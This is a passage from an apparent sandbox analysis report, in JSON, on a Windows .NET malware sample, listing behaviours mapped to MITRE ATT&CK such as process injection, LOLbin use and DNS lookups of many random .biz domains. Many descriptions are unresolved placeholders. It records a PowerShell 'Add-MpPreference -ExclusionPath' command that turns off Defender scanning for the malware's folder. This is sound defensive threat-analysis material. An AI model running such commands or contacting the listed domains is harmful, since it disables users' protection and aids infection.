Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"$5e","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$5f","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$60","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"chrmstp.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$61","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 36163-142-004473B0]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134073211398131212.1268.DefaultAppDomain.powershell\n Found string - \\\\.\\PIPE\\MGMTAPI","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$62","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/4.0 (\"; File: \"SearchProtocolHost.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$63","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\SysWOW64\\Wldap32.dll\" at 74FB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\Wldap32.dll\" at 74FB0000\n \"RegSvcs.exe\" loaded module \"%WINDIR%\\SysWOW64\\Wldap32.dll\" at 74FB0000\n \"SearchIndexer.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FED60000\n \"SearchProtocolHost.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FED60000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$64","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 703E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 703D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 6D5A0000\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 6D2B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 70070000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 6ACC0000\n \"RegSvcs.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 70070000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71110000\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 718C0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 718C0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75010000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75010000\n \"RegSvcs.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75010000\n \"SearchIndexer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FDA00000\n \"SearchProtocolHost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FDA00000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Loads the visual basic runtime environment","description":"\"RegSvcs.exe\" loaded module \"%WINDIR%\\SysWOW64\\msvbvm60.dll\" at 72940000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$65","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$66","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$67","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$68","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$69","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$6a","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"KERNEL32.dll\" : \"242\" [Source: chrmstp.exe]\n Observed large number of imported APIs from \"KERNEL32.dll\" : \"204\" [Source: AcroRd32.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$6b","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$6c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x172a00\" greater than 0x100000\n Raw size of \".text\" is \"0x38e400\" greater than 0x100000\n Raw size of \".text\" is \"0x123600\" greater than 0x100000\n Raw size of \".text\" is \"0x14de00\" greater than 0x100000\n Raw size of \".text\" is \"0x150200\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x173000\" greater than 0x100000\n Raw size of \".reloc\" is \"0x16f000\" greater than 0x100000\n Raw size of \".reloc\" is \"0x170000\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x1a5000\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x16e000\" greater than 0x100000\n Raw size of \".reloc\" is \"0x16e000\" greater than 0x100000\n Raw size of \".reloc\" is \"0x176000\" greater than 0x100000\n Raw size of \".text\" is \"0x107000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x17298c\" greater than 0x100000\n Virtual size of \".text\" is \"0x38e251\" greater than 0x100000\n Virtual size of \".reloc\" is \"0x11d000\" greater than 0x100000\n Virtual size of \".text\" is \"0x123522\" greater than 0x100000\n Virtual size of \".text\" is \"0x14dd96\" greater than 0x100000\n Virtual size of \".text\" is \"0x150160\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x174000\" greater than 0x100000\n Virtual size of \".reloc\" is \"0x170000\" greater than 0x100000\n Virtual size of \".reloc\" is \"0x171000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x1a6000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x16f000\" greater than 0x100000\n Virtual size of \".reloc\" is \"0x16f000\" greater than 0x100000\n Virtual size of \".reloc\" is \"0x177000\" greater than 0x100000\n Virtual size of \".data\" is \"0x26278f8\" greater than 0x100000\n Virtual size of \".text\" is \"0x106ee4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"chrmstp.exe\" has high imagebase \"0x140000000\"\n \"elevation_service.exe\" has high imagebase \"0x140000000\"\n \"wmpnetwk.exe\" has high imagebase \"0x100000000\"\n \"chrome_pwa_launcher.exe\" has high imagebase \"0x140000000\"\n \"cblauncher.exe\" has high imagebase \"0x140000000\"\n \"Aut2exe_x64.exe\" has high imagebase \"0x140000000\"\n \"setup.exe\" has high imagebase \"0x140000000\"\n \"firefox.exe\" has high imagebase \"0x140000000\"\n \"notification_helper.exe\" has high imagebase \"0x140000000\"\n \"rawshark.exe\" has high imagebase \"0x140000000\"\n \"updater.exe\" has high imagebase \"0x140000000\"\n \"text2pcap.exe\" has high imagebase \"0x140000000\"\n \"editcap.exe\" has high imagebase \"0x140000000\"\n \"WatAdminSvc.exe.bin\" has high imagebase \"0x100000000\"\n \"capinfos.exe\" has high imagebase \"0x140000000\"\n \"mergecap.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"HbkaV\" (Indicator: \"bkav\") in Source: 00000000-00004520.00000001.74685.00092000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00003968-00000C46-83446101184]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\8aa7088ebe77e153597c1045f3e181f7bb\" [Source: 00000000-00003968-00000C46-83446101184], Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" [Source: 00000000-00003968-00000C45-85143834866], Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00001268-00000C2A-96733226], Observed system executable string:\"\"%WINDIR%\\system32\\SearchProtocolHost.exe\" Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646\" [Source: 00000000-00004520-00000C46-43444986834]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00001268) was launched with new environment variables: \"USERDNSDOMAIN=\"%OSUSER%-PC\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"powershell.exe\" (UID: 00000000-00001268) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"RegSvcs.exe\" (UID: 00000000-00004636) was launched with modified environment variables: \"Path\"\n Process \"SearchProtocolHost.exe\" (UID: 00000000-00000412) was launched with new environment variables: \"USERDNSDOMAIN=\"WORKGROUP\"\"\n Process \"SearchProtocolHost.exe\" (UID: 00000000-00000412) was launched with modified environment variables: \"Path, TEMP, TMP, NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"acwjcqqv.biz\"\n \"anpmnmxo.biz\"\n \"brsua.biz\"\n \"bumxkqgxu.biz\"\n \"ctdtgwag.biz\"\n \"cvgrf.biz\"\n \"deoci.biz\"\n \"dlynankz.biz\"\n \"dwrqljrr.biz\"\n \"esuzf.biz\"\n \"eufxebus.biz\"\n \"ftxlah.biz\"\n \"fwiwk.biz\"\n \"gcedd.biz\"\n \"gjogvvpsf.biz\"\n \"gnqgo.biz\"\n \"gvijgjwkh.biz\"\n \"gytujflc.biz\"\n \"hehckyov.biz\"\n \"ifsaia.biz\"\n \"iuzpxe.biz\"\n \"jdhhbs.biz\"\n \"jhvzpcfg.biz\"\n \"jpskm.biz\"\n \"jwkoeoqns.biz\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$6d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\8aa7088ebe77e153597c1045f3e ...\" (UID: 00000000-00001268), Spawned process \"RegSvcs.exe\" (UID: 00000000-00004636), Spawned process \"SearchIndexer.exe\" with commandline \"/Embedding\" (UID: 00000000-00004520), Spawned process \"SearchProtocolHost.exe\" with commandline \"Global\\\\UsGthrFltPipeMssGthrPipe1_ Global\\\\UsGthrCtrlFltPipeMssG ...\" (UID: 00000000-00000412)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\8aa7088ebe77e153597c1045f3e ...\" (UID: 00000000-00001268), Spawned process \"RegSvcs.exe\" (UID: 00000000-00004636), Spawned process \"SearchIndexer.exe\" with commandline \"/Embedding\" (UID: 00000000-00004520), Spawned process \"SearchProtocolHost.exe\" with commandline \"Global\\\\UsGthrFltPipeMssGthrPipe1_ Global\\\\UsGthrCtrlFltPipeMssG ...\" (UID: 00000000-00000412)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$6f","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"$70","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"AcroRd32.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"dwtrig20.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"LogTransport2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\n314phwr.xlb.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\fkhesf0p.ndc.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$71","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" connecting to \"\\ThemeApiPort\"\n \"RegSvcs.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to access the loader directly (API string)","description":"Found reference to API \"LdrGetDllHandle\" (Indicator: \"LdrGetDllHandle\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1129","relevance":1,"id":"string-548","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$73","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to register device notification handler (API string)","description":"$74","origin":"File/Memory","mitre_attack_id":"T1098.005","relevance":1,"id":"string-543","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$75","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$76","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$77","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$78","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$79","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$7a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$7b","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$7c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$7d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$7e","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"$7f","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: notification_helper.exe]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003968)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001268)\n \"RegSvcs.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00004636)\n \"SearchIndexer.exe\" called 